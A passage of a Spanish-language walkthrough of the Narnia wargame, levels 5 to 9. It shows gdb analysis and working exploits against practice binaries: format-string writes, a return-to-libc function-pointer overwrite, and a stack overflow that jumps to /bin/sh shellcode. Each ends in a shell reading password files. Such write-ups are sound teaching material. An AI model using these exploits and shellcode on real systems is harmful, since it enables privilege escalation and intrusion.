narnia5@melissa:~$ for (( i = 0; i < 100; i++ )); > do echo "Pos $i:" && /narnia/narnia5 "ABCD %$i\$x" ; > done | grep -B 2 -A 1 44434241 Pos 5: Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD 44434241] (13) i = 1 (0xffffd74c)

Es ms recomendable porque el parmetro sobre el que tendremos control no siempre estar tan cerca como en el caso que nos ocupa. Ahora slo nos falta la ltima pieza del puzzle. Con lo que sabemos hasta ahora tenemos mucho control sobre lo que queremos ver, pero seguimos sin poder modificar valores del stack. Por suerte las funciones de la familia printf incluyen un carcter de conversin que no muestra nada, al contrario, permite escribir el nmero de caracteres mostrados hasta su posicin en la cadena de formato en el parmetro correspondiente recibido por la funcin como argumento.
12 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html

27

Vamos a probarlo, y para ello utilizaremos la direccin en el stack para la variable i que la propia aplicacin nos muestra como resultado de su ejecucin (tercer parmetro, &i, de la ltima llamada a printf en el cdigo fuente de la aplicacin):
narnia5@melissa:~$ /narnia/narnia5 $(python -c 'print "\x4c\xd7\xff\xff"')" %5\$n" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [L ] (5) i = 5 (0xffffd74c)

Hemos conseguido modificar el valor de i de forma que en lugar de contener un 1 ahora contiene un 5. Esto es porque gracias al modificador %n se ha escrito el valor 5 correspondiente a los 4 caracteres que forman la direccin de la variable mas un espacio en blanco. Si queremos escribir un 6 incluiremos dos espacios en blanco, un 7 tres, y as sucesivamente; pero vamos a tener que incluir muchos espacios en blanco en nuestra cadena de formato si lo que al final queremos escribir en i es el valor 500. En lugar de hacerlo manualmente utilizaremos la posibilidad de especificar el ancho mnimo del campo en la cadena de formato. Indicaremos un ancho mnimo de 495, que mas los 5 de la direccin ms el espacio en blanco se corresponden con el valor 500 que queremos darle a la variable i:
narnia5@melissa:~$ /narnia/narnia5 $(printf "\x4c\xd7\xff\xff")" %495d%5\$n" Change i's value from 1 -> 500. GOOD $ cat /etc/narnia_pass/narnia6 lolololol $ exit No way...let me give you a hint! buffer : [< ] (63) i = 500 (0xffffd74c)

En este caso para incluir la direccin de la variable en la cadena que recibe la aplicacin vulnerable como argumento he utilizado el comando printf13 de linux, cuyo formato es muy similar al de la funcin de la librera stdio.h del lenguaje C.

13 http://linuxconfig.org/bash-printf-syntax-basics-with-examples

28

Nivel 6
Autentificados en el sistema como el usuario narnia6 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia6@melissa:~$ cat /narnia/narnia6.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern char **environ; int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } /* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1); fp(b1); exit(1); }

USA

La aplicacin espera como argumento dos parmetros que almacena en sendos arrays utilizando la funcin strcpy. Como salida nicamente muestra el contenido del primero de los dos una vez rellenado, utilizando para ello un puntero a una funcin, fp, establecido anteriormente de forma que apunta a puts14.
14 http://linux.about.com/library/cmd/blcmdl3_puts.htm

29

Parece que tenemos dos posibles buffers que desbordar, b1 y b2, as que veamos donde se ubican en el stack y, por lo tanto, hasta donde nos permitiran llegar una vez desbordados. Pongamos un breakpoint en cada llamada a strcpy:
narnia6@melissa:~$ gdb -q /narnia/narnia6 Reading symbols from /narnia/narnia6...(no debugging symbols found)...done. (gdb) break *strcpy Breakpoint 1 at 0x80483f0 (gdb) run ABCD EFGH Starting program: /narnia/narnia6 ABCD EFGH Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos en la primera llamada, la encargada de copiar argv[1] en el array b1[8]. Vamos a comprobar el contenido del stack, lo que nos permitir determinar la ubicacin en memoria de b1, y continuar con la ejecucin del programa:
(gdb) x/4xw $esp 0xffffd6fc: 0x080485e9 (gdb) c Continuing.

0xffffd720

0xffffd925

0x00000021

Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos ahora en la segunda llamada a strcpy, la encargada de copiar argv[2] en el array b2[8]. Obtenemos su ubicacin en el stack y ponemos un nuevo breakpoint en la instruccin del main que se ejecuta justo despus de la llamada a la funcin:
(gdb) x/4xw $esp 0xffffd6fc: 0x08048601 (gdb) break *0x08048601 Breakpoint 2 at 0x8048601

0xffffd718

0xffffd92a

0x00000021

Para terminar, y una vez alcanzado el ltimo breakpoint, comprobemos el contenido de ambos arrays, b1 y b2, los cuales deberan contener las cadenas ABCD y EFGH respectivamente, y del resto del stack:
(gdb) c Continuing. Breakpoint 2, 0x08048601 in main () (gdb) print (char *) 0xffffd720 $1 = 0xffffd720 "ABCD" (gdb) print (char *) 0xffffd718 $2 = 0xffffd718 "EFGH" (gdb) info reg ebp esp ebp 0xffffd738 0xffffd738 esp 0xffffd700 0xffffd700

30

(gdb) x/20xw $esp 0xffffd700: 0xffffd718 0xffffd710: 0xf7ea2c3d 0xffffd720: 0x44434241 0xffffd730: 0x08048640 0xffffd740: 0x00000003

0xffffd92a 0xf7fd3324 0xf7feed00 0x00000000 0xffffd7e4

0x00000021 0x48474645 0x08048410 0xffffd7b8 0xffffd7f4

0x08048659 0xffffd700 0x00000003 0xf7e89e37 0xf7fdf420

Ahora ya podemos dibujarnos su estructura completa:


0xffffd748: 0xffffd744: 0xffffd740: 0xffffd73c: EBP --> 0xffffd738: 0xffffd734: 0xffffd730: 0xffffd72c: 0xffffd728: 0xffffd724: 0xffffd720: 0xffffd71c: 0xffffd718: 0xffffd714: 0xffffd710: 0xffffd70c: 0xffffd708: 0xffffd704: ESP --> 0xffffd700: Puntero a environ Argumento 2 de main, argv Argumento 1 de main, argc EIP EBP No es importante No es importante int i Puntero a puts (fp) b1[8] b1[8] b2[8] b2[8] No es importante No es importante No es importante No es importante No es importante No es importante

Los dos arrays se encuentran uno detrs de otro, y desbordando cualquiera de ellos podramos llegar a sobreescribir EIP. Pero eso no nos servira de nada dado que la aplicacin termina con un exit15 cuya llamada descartar el valor del registro EIP de la aplicacin finalizndola por s misma. Otra opcin sera sobreescribir fp apuntndolo a una variable del entorno con nuestra shellcode, pero eso tampoco nos sirve dado que la aplicacin se encarga de vaciarlo durante su ejecucin:
/* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i]));

Almacenar la shellcode en el tercer argumento de la aplicacin y hacer que el puntero fp apunte all tampoco es factible por dos motivos: primero, la aplicacin vaca el contenido de un posible tercer parmetro y sucesivos:
/* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i]));

15 http://linux.about.com/library/cmd/blcmdl3_exit.htm

31

Y segundo, si la direccin apuntada por fp cae dentro del stack la aplicacin terminar con una llamada a exit:
if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1);

Esto ltimo tambin nos impide almacenar la shellcode en el array b2 y hacer que fp apunte al inicio del mismo adems de que no conozco, ni creo ser capaz de generar, una shellcode tan pequea. Menos mal que siempre nos quedar return to libc16. Obtendremos la direccin en memoria para la funcin system17 de la libc utilizando una aplicacin que realice una llamada a la misma analizndola con el debugger:
narnia6@melissa:~$ cd /tmp narnia6@melissa:/tmp$ vim get_system.c #include <stdio.h> int main() { system(); return 0; } narnia6@melissa:/tmp$ gcc -g -m32 -o get_system get_system.c narnia6@melissa:/tmp$ gdb -q get_system Reading symbols from /tmp/get_system...done. (gdb) break main Breakpoint 1 at 0x80483ca: file get_system.c, line 5. (gdb) run Starting program: /tmp/get_system Breakpoint 1, main () at get_system.c:5 5 system(); (gdb) p system $1 = {<text variable, no debug info>} 0xf7eaf260 <system>

Ya tenemos su direccin en memoria,0xf7eaf260, y sabemos que para ejecutar una shell sta necesita recibir como parmetro la cadena /bin/sh. Como estructuraremos los argumentos que le pasaremos a la aplicacin vulnerable para conseguir nuestro propsito? Si volvemos a lanzar la aplicacin:
narnia6@melissa:/tmp$ /narnia/narnia6 ABCD EFGH ABCD

16 http://en.wikipedia.org/wiki/Return-to-libc_attack 17 http://linux.die.net/man/3/system

32

comprobaremos como la cadena recibida mediante argv[1] y copiada en el array b[1] mediante strcpy se le pasa directamente a la funcin apuntada por fp. Repasando la estructura del stack resulta obvio que tendremos que utilizar los dos parmetros que espera la aplicacin para sobreescribir el contenido de los buffers b1 y b2 en dos etapas. La primera etapa, utilizando el primer argumento, nos permitir sobreescribir fp, y la segunda etapa, utilizando el segundo argumento, colocar en b1 la cadena utilizada por system:
narnia6@melissa:/tmp$ cd ~ narnia6@melissa:~$ /narnia/narnia6 $(python -c 'print "A" * 8 + "\x60\xf2\xea\xf7"') \ > $(python -c 'print "A" * 8')"/bin/sh" $ cat /etc/narnia_pass/narnia7 lolololol

33

34

Nivel 7
Autentificados en el sistema como el usuario narnia7 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia7@melissa:~$ cat /narnia/narnia7.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <stdlib.h> <unistd.h>

USA

int goodfunction(); int hackedfunction(); int vuln(const char *format){ char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction; snprintf(buffer, sizeof buffer, format); return ptrf(); } int main(int argc, char **argv){ if (argc <= 1){ fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); }

35

exit(vuln(argv[1])); } int goodfunction(){ printf("Welcome to the goodfunction, but i said the Hackedfunction..\n"); fflush(stdout); return 0; } int hackedfunction(){ printf("Way to go!!!!"); fflush(stdout); system("/bin/sh"); return 0; }

La cadena que se le pasa como argumento a la aplicacin se copia, utilizando la funcin snprintf18, en el array buffer[128]. Si a esto le sumamos el resultado de ejecutar la aplicacin:
narnia7@melissa:~$ /narnia/narnia7 AAAA goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd6ac) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction..

parece que volvemos a enfrentarnos a una vulnerabilidad de format string19 ya que tenemos que modificar el valor de un puntero, ptrf, almacenado en una direccin del stack que conocemos, 0xffffd6ac, para que apunte a una funcin, 0x80486a1 hackedfunction(), distinta de la apuntada por defecto, 0x804867b goodfunction(). El principal problema, al menos a priori, es que la aplicacin no nos devuelve el contenido del array buffer que almacena nuestra cadena de formato una vez interpretada, por lo que tendremos que utilizar el debugger para averiguar la posicin del especificador de formato que somos capaces de controlar:
narnia7@melissa:~$ gdb -q /narnia/narnia7 Reading symbols from /narnia/narnia7...(no debugging symbols found)...done. (gdb) break snprintf Breakpoint 1 at 0x8048490 (gdb) run "ABCD%08x%08x%08x%08x%08x%08x" Starting program: /narnia/narnia7 "ABCD%08x%08x%08x%08x%08x%08x" goodfunction() = 0x804867b hackedfunction() = 0x80486a1

18 http://linux.die.net/man/3/snprintf 19 http://blog.seguesec.com/wp-content/uploads/2011/03/FormatStringAttack-SebastianGuerreroSelma.pdf

36

before : ptrf() = 0x804867b (0xffffd68c) I guess you want to come to the hackedfunction... Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd664: 0xf7fd2ff4

0xffffd718

0x0804861f

0xffffd690

El comando anterior nos permite conocer la siguiente instruccin dentro del main que se ejecutar una vez que finalice la llamada a snprint, 0x0804861f:
(gdb) break *0x0804861f Breakpoint 2 at 0x804861f (gdb) c Continuing. Breakpoint 2, 0x0804861f in vuln () (gdb) x/24xw $esp 0xffffd670: 0xffffd690 0x00000080 0xffffd680: 0xf7e7fff0 0x080481d8 0xffffd690: 0x44434241 0x34303830 0xffffd6a0: 0x30666666 0x34303830 0xffffd6b0: 0x31303030 0x34303830 0xffffd6c0: 0x31343234 0x00000000

0xffffd911 0x00000001 0x63653238 0x38643138 0x62373638 0x00000000

0x080482ec 0x0804867b 0x37653766 0x30303030 0x33343434 0x00000000

el ultimo comando nos muestra una parte del stack, incluyendo el contenido de la variable buffer que comienza en la direccin 0xffffd690. Interpretando los valores almacenados con la ayuda de una tabla de cdigos ASCII20 tenemos.
Posicin
1 2 3 4 5 6

Direccin
0xffffd690 0xffffd694 0xffffd69c 0xffffd6a4 0xffffd6ac 0xffffd6b4 0xffffd6bc

Contenido
44434241 3430383063653238 3765376630666666 3430383038643138 3030303031303030 3430383062373638 3334343431343234

Hexadecimal
44434241 4080ce28 7e7f0fff 40808d18 00001000 4080d768 34441424

Cadena final
ABCD 080482ec f7e7fff0 080481d8 00000001 0804867d ABCD

Por lo tanto ya sabemos la posicin del valor que controlamos y que, por lo tanto, somos capaces de modificar: el sexto. A diferencia del proceso seguido para completar el nivel 5 en este caso tenemos que escribir un valor correspondiente a una direccin de memoria, por lo que la cadena de formato no ser tan sencilla. Para simplificar la creacin de la cadena de formato adecuada seguiremos las instrucciones de la siguiente tabla, extrada del libro Gray Hat Hacking: The Ethical Hackers
20 http://www.asciitable.com/

37

Handbook, 3rd Edition21:


Orden
1 2 3 4 5

High Order Byte < Low Order Byte


[address + 2][address] %.[High Order Byte - 8]x %[offset]$hn %.[Low Order Byte High Order Byte]x %[offset + 1]$hn

High Order Byte > Low Order Byte


[address + 2][address] %.[Low Order Byte - 8]x %[offset + 1]$hn %.[High Order Byte Low Order Byte]x %[offset]$hn

Recordemos los valores especficos de nuestro caso volviendo a ejecutar la aplicacin:


narnia7@melissa:~$ /narnia/narnia7 ABDC goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd6ac) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction..

Tenemos que escribir el valor 080486a1 en la direccin 0804867b. Si descomponemos la direccin:


0x080486a1 0x0804 < 0x86a1

por lo tanto los pasos a seguir: 1. 2. 3. 4. 5.


[ffffd68c + 2][0xffffd68c] \x8e\xd6\xff\xff\x8c\xd6\xff\xff %.[0x0804 8]x %.[0x7FC 8]x convertido a decimal %.2044x %[6]$hn %6\$hn %.[0x86a1 0x0804]x %.[0x7e9d]x convertido a decimal %.32413x %[6 + 1]$hn %7\$hn

Para terminar, y juntndolo todo:


narnia7@melissa:~$ /narnia/narnia7 $(printf "\x8e\xd6\xff\xff\x8c\xd6\xff\xff")%.2044x %6\$hn%.32413x%7\$hn goodfunction() = 0x804867b hackedfunction() = 0x80486a1 before : ptrf() = 0x804867b (0xffffd68c) I guess you want to come to the hackedfunction... Way to go!!!!$ cat /etc/narnia_pass/narnia8 lolololol

21 http://www.amazon.com/Gray-Hacking-Ethical-Hackers-Handbook/dp/0071742557

38

Nivel 8
Autentificados en el sistema como el usuario narnia8 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia8@melissa:~$ cat /narnia/narnia8.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global unti i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; }

USA

El binario recibe una cadena como parmetro que se copia dentro de la funcin func en el array bok[20], utilizando como origen un puntero a argv[1]. 39

Veamos la aplicacin desde el debugger, detenindonos en la primera instruccin de la funcin func y avanzando una instruccin ms, de forma que el valor de EBP sea pusheado en el stack:
narnia8@melissa:~$ gdb -q /narnia/narnia8 Reading symbols from /narnia/narnia8...(no debugging symbols found)...done. (gdb) break *func Breakpoint 1 at 0x80483d4 (gdb) run ABCD Starting program: /narnia/narnia8 ABCD Breakpoint 1, 0x080483d4 in func () (gdb) stepi 0x080483d5 in func () (gdb) x/4xw $esp 0xffffd728: 0xffffd748 0x0804846d (gdb) print (char *) 0xffffd929 $1 = 0xffffd929 "ABCD"

0xffffd929

0xf7feed80

Ya tenemos la ubicacin en del registro EBP, 0xffffd728, EIP, 0xffffd72c, y el valor del puntero a la cadena argv[1], 0xffffd929. Vamos a desensamblar func:
(gdb) disas func Dump of assembler code for function func: 0x080483d4 <+0>: push %ebp => 0x080483d5 <+1>: mov %esp,%ebp 0x080483d7 <+3>: sub $0x38,%esp 0x080483da <+6>: mov 0x8(%ebp),%eax 0x080483dd <+9>: mov %eax,-0xc(%ebp) 0x080483e0 <+12>: movl $0x14,0x8(%esp) 0x080483e8 <+20>: movl $0x0,0x4(%esp) 0x080483f0 <+28>: lea -0x20(%ebp),%eax 0x080483f3 <+31>: mov %eax,(%esp) 0x080483f6 <+34>: call 0x80482e4 <memset@plt>

Solo muestro una parte del desensamblado, en concreto hasta la llamada a la funcin memset que se encargar de rellenar el contenido de bok[20] con ceros. Pongamos un nuevo breakpoint en esta lnea y analicemos los parmetros que recibe:
(gdb) break *0x080483f6 Breakpoint 2 at 0x80483f6 (gdb) c Continuing. Breakpoint 2, 0x080483f6 in func () (gdb) info reg ebp esp ebp 0xffffd728 0xffffd728 esp 0xffffd6f0 0xffffd6f0 (gdb) x/4xw $esp 0xffffd6f0: 0xffffd708 0x00000000

0x00000014

0xf7e89c65

40

El primer valor para la salida del ltimo comando se corresponde con la direccin en el stack del inicio de la variable bok[20], 0xffffd708. As que, con lo que sabemos hasta el momento, el aspecto del stack ser:
0xffffd730: 0xffffd72c: EBP --> 0xffffd728: 0xffffd724: 0xffffd720: 0xffffd71c: 0xffffd718: 0xffffd714: 0xffffd710: 0xffffd70c: 0xffffd708: 0xffffd704: 0xffffd700: 0xffffd6fc: 0xffffd6f8: 0xffffd6f4: ESP --> 0xffffd6f0: Argumento 1 de func, argv[1] = 0xffffd929 EIP EBP No lo sabemos No lo sabemos No lo sabemos bok[20] bok[20] bok[20] bok[20] bok[20] No es importante No es importante No es importante No es importante No es importante No es importante

Del dibujo anterior podemos extraer la cantidad de caracteres que necesitaremos para consegur sobreescribir EIP:
0xffffd72c 0xffffd708 = 0x24 + 0x4 = 0x28 40 en decimal

Pero si probamos a desbordar el buffer:


narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 40') AAAAAAAAAAAAAAAAAAAAAb=,$38m /

No se ha producido el famoso Segmentation fault. Cual ha sido el problema y hasta donde hemos llegado? Analicmoslo mediante el debugger, teniendo en cuenta que las direcciones variarn con respecto al dibujo del stack que habamos generado, pero los offsets no:
narnia8@melissa:~$ gdb -q /narnia/narnia8 Reading symbols from /narnia/narnia8...(no debugging symbols found)...done. (gdb) break *printf Breakpoint 1 at 0x8048304 (gdb) run $(python -c 'print "A" * 40') Starting program: /narnia/narnia8 $(python -c 'print "A" * 40') Breakpoint 1, 0xf7ebd5c0 in printf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6cc: 0x0804844c 0x08048550 0xffffd6e8

0x00000014

41

(gdb) break *0x0804844c Breakpoint 2 at 0x804844c (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAA4=,$3(m /

Breakpoint 2, 0x0804844c in func () (gdb) x/24xw $esp 0xffffd6d0: 0x08048550 0xffffd6e8 0xffffd6e0: 0x00000000 0x08049648 0xffffd6f0: 0x41414141 0x41414141 0xffffd700: 0xf7ea2c3d 0xf7fd3324 0xffffd710: 0xffffd906 0xf7feed80 0xffffd720: 0x08048490 0x00000000

0x00000014 0x41414141 0x41414141 0xffffd728 0x0804849b 0xffffd7a8

0xf7e89c65 0x41414141 0xffff3441 0x0804846d 0xf7fd2ff4 0xf7e89e37

Sabemos que bok[20] empieza en ESP mas 24, o lo que es lo mismo en ESP+0x18 = 0xffffd6e8, y justo all encontramos la primera de las 40 A's que le hemos pasado a la aplicacin como argumento. Contando a partir de all encontramos solo 21 A's, cual es la razn? Toca analizar el desensamblado de func, concretamente el fragmento encargado de rellenar el contenido de bok utilizando como entrada la cadena recibida como argumento por la aplicacin:
0x080483fb: 0x08048405: 0x08048407: 0x0804840c: 0x08048412: 0x08048415: 0x08048418: 0x0804841c: 0x08048421: 0x08048424: 0x08048429: 0x0804842e: 0x08048431: 0x08048434: 0x08048436: movl jmp mov mov add movzbl mov mov add mov mov add movzbl test jne $0x0,0x8049674 0x8048429 0x8049674,%eax 0x8049674,%edx -0xc(%ebp),%edx (%edx),%edx %dl,-0x20(%ebp,%eax,1) 0x8049674,%eax $0x1,%eax %eax,0x8049674 0x8049674,%eax -0xc(%ebp),%eax (%eax),%eax %al,%al 0x8048407 ; +--; +-|->; | | ; | | ; | | ; | | ; | | ; | | ; | | ; | +->; | ; | ; | ; +----; i = 0 Salto a 0x8048429 EAX = i EDX = i Apunta EDX a blah[i] EDX = valor en blah[i] bok[i] = EDX EAX = i EAX++ (i++) 0x8049674 = EAX (i) EAX = i Apunta EAX a blah[i] EAX = valor en blah[i] Compara AL con AL Salta si EAX != 0

La instruccin en 0x08048412 utiliza el valor almacenado en EBP-0xc como inicio de la cadena, char * blah, el cual desplaza i bytes, blah[i], para obtener el valor a copiar en bok[i].
0xffffd710: 0xffffd70c: EBP --> 0xffffd708: 0xffffd704: 0xffffd700: 0xffffd6fc: 0xffffd6f8: Argumento 1 de func, argv[1] = 0xffffd929 EIP EBP No lo sabemos No lo sabemos blah bok[20]

42

Por lo tanto justo al terminar el espacio del buffer que podemos desbordar tenemos la direccin que marca el inicio de la cadena que estamos utilizando para desbordarlo. Debo reconocer que hasta que me d cuenta de que poda determinar el contenido del stack a partir de la salida devuelta por la aplicacin estuve algn tiempo probando todo lo que me pasaba por la cabeza sin llegar a ninguna parte; pero de pronto se me encendi la luz y se me ocurri probar lo siguiente:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 2bd9ffff 3d2ceaf7 2433fdf7 AAAA+...=,..$3.. 0000020: 48d7ffff 6d840408 2bd9ffff 80edfef7 H...m...+....... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

El comando xxd22 de linux no es ni ms, ni tampoco menos, que un editor hexadecimal en modo texto, y el parmetro -g 4 se encarga de juntar los bytes mostrados en grupos de 4 para ofrecernos una salida similar a la de un dump con gdb. Pero, cmo es que aparece eso como resultado? Pues resulta que el argumento que le pasamos a la aplicacin no contiene el indicador de final de cadena, por lo que la siguiente instruccin de la aplicacin:
printf("%s\n",bok);

muestra el contenido del stack hasta encontrar un byte nulo, permitindonos ver valores interesantes como, por ejemplo, el puntero al inicio de argv[1] = blah = cadena recibida por la aplicacin. Si probamos ahora a desbordar bok[20]:
narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 21') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 4162ffff 3d2ceaf7 2433fdf7 AAAAAb..=,..$3.. 0000020: 48d7ffff 6d840408 2ad9ffff 80edfef7 H...m...*....... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

se sobreescribe justo el ltimo byte del puntero blah, con lo que el inicio de la cadena pasa a apuntar a un lugar sobre el que no tenemos control y se nos joroba el invento. Parece pus que queda claro que tenemos que mantener la direccin de inicio de nuestra cadena para poder seguir desbordando el buffer hasta llegar a EIP; pero adems, al crecer el tamao de la cadena que le pasamos a la aplicacin el puntero argv[1], y por tanto blah, se desplazar a una direccin anterior. La regla para sobreescribir x bytes sera:
Inicio cadena 20 bytes 4 bytes x bytes a sobreescribir

22 http://linux.about.com/library/cmd/blcmdl1_xxd.htm

43

Por lo tanto para el caso que nos ocupa los clculos seran:
0xffffd92b 0x4 0x10 (16 en hex) = 0xffffd917

que si lo probamos debera provocar nuestro querido Segmentation fault:


narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\x17\xd9\xff\xff" + "A" * 16') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA / Segmentation fault

Ahora ya s que lo tenemos! Utilizaremos como direccin para sobreescribir EIP la de una variable de entorno que contenga nuestra shellcode, as que primero la crearemos y exportaremos:
narnia2@melissa:~$ cd /tmp narnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" + "\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" + "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" + "\xff/bin/sh"')

Generamos ahora un binario que nos devuelva la direccin en memoria para la variable, recordando compilarlo utilizando el flag -m32 de gcc para obtener un binario de 32 bits:
narnia2@melissa:/tmp$ vim get_address.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(!argv[1]) exit(1); printf("%#x\n", getenv(argv[1])); return 0; } narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.c narnia2@melissa:/tmp$ ./get_address SHELLCODE 0xffffd902

Como el contenido del entorno que recibe la aplicacin ha aumentado para almacenar una nueva variable, SHELLCODE, las direcciones que tendremos que utilizar habrn variado nuevamente, as que volveremos a ejecutar los pasos necesarios para determinar los nuevos valores.

44

narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 4 0000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000010: 41414141 dfd8ffff 3d2ceaf7 2433fdf7 AAAA....=,..$3.. 0000020: f8d6ffff 6d840408 dfd8ffff 80edfef7 ....m........... 0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

Con el valor anterior para inicio cadena 20 bytes:


0xffffd8df 0x4 0x10 (16 en hex) = 0xffffd8cb

Y utilizando ahora la direccin anterior ms la direccin en memoria de nuestra shellcode:


narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\xcb\xd8\xff\xff" + "A" * 12 + "\x02\xd9\xff\xff"') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA / $ cat /etc/narnia_pass/narnia9 lolololol

45

46

Nivel 9
Nos autentificamos en el sistema como el usuario narnia9 con la contrasea obtenida en el nivel anterior para obtener la felicitacin correspondiente por haber superado todos los niveles del wargame:
narnia9@melissa:~$ ls -l total 4 -r--r----- 1 narnia9 narnia9 27 2012-06-28 14:55 CONGRATULATIONS narnia9@melissa:~$ cat CONGRATULATIONS you are l33t! next plz...

47

You might also like